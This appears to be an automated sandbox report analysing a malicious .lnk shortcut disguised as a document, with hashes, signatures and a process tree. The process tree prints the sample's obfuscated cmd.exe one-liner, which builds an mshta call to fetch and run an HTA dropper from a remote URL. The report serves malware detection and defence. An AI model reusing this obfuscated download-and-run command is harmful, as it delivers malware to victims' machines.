Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:29

General

  • Target
    DOC-G3F4QA.lnk
  • Size 2KB
  • Sample260804-kd18aavgpb
  • SHA256 55d3d04f8e73302b53b87018a519b4addd499f641c349b627896c3bf62f88f1c
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-G3F4QA.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set PmsT=logtmstxgnqglog&set rvtCD=netxncqgkdhwpmgpdvaccnet&set gb=fams9&&set VkVdf=jhs&&set fV=etaoql&set OKhc=olddzbushypyold&set SMJE=cfgoalbdycucfg&set KJrc=cfgrhizcfg&set OwjWh=cs1&&set Zy=zqtartl&set kqbg=netvgpvfktgkfnet&set jmQB=inffllcinf&set xk=netdtvsjgjjevtonmnet&set xI=olduvacffhywsrcmatpold&&set iDGbx=htt@ps:/@/@m@a-pdffil@l@er.@l@a@t@/h/@esta@gi@[email protected]?@r@=3914@69@FB5@D@8@2D@B&&start /b !gb:~2,2!!VkVdf:~1,1!!fV:~1,2! !iDGbx:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5128
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:1880

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads